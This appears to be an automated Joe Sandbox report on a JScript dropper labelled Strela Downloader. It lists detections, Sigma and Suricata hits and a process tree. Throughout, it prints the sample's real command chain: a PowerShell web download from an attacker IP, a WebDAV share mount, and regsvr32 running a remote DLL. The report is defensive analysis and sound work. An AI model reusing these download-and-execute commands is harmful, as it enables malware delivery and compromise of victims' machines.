Edit tour

Windows Analysis Report
190731319210776809.js

Overview

General Information

Sample name:	190731319210776809.js
Analysis ID:	1588783
MD5:	f1971f55ae86cbd0538daef14401b7ef
SHA1:	5c99b842a3b8b5d641bcbbae1c6e55d95d8a89f9
SHA256:	4e70cda9e5d775fd6a3bc1f04222d8998bf8b1f7362b5f13983557140a90c16a
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5952 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\190731319210776809.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6936 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 816 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7420 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7672 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7868 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1596,i,2795707105718791194,16913054232841068214,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7440 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7536 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7736 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5952	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6936, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 816, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6936, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 816, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\190731319210776809.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\190731319210776809.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\190731319210776809.js", ProcessId: 5952, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7536, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49700

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\190731319210776809.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5952, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll, ProcessId: 6936, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\190731319210776809.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5952, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll, ProcessId: 6936, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\190731319210776809.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5952, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll, ProcessId: 6936, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\190731319210776809.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5952, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll, ProcessId: 6936, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\190731319210776809.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5952, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll, ProcessId: 6936, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\190731319210776809.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5952, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll, ProcessId: 6936, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\190731319210776809.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\190731319210776809.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\190731319210776809.js", ProcessId: 5952, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6936, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 816, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7440, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7536, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7736, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7440, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7536, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\190731319210776809.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5952, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll, ProcessId: 6936, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:28:23.606798+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:28:26.569765+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49700	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:28:23.606798+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 190731319210776809.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 190731319210776809.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 190731319210776809.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.7:49699 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49700 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:28:23 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 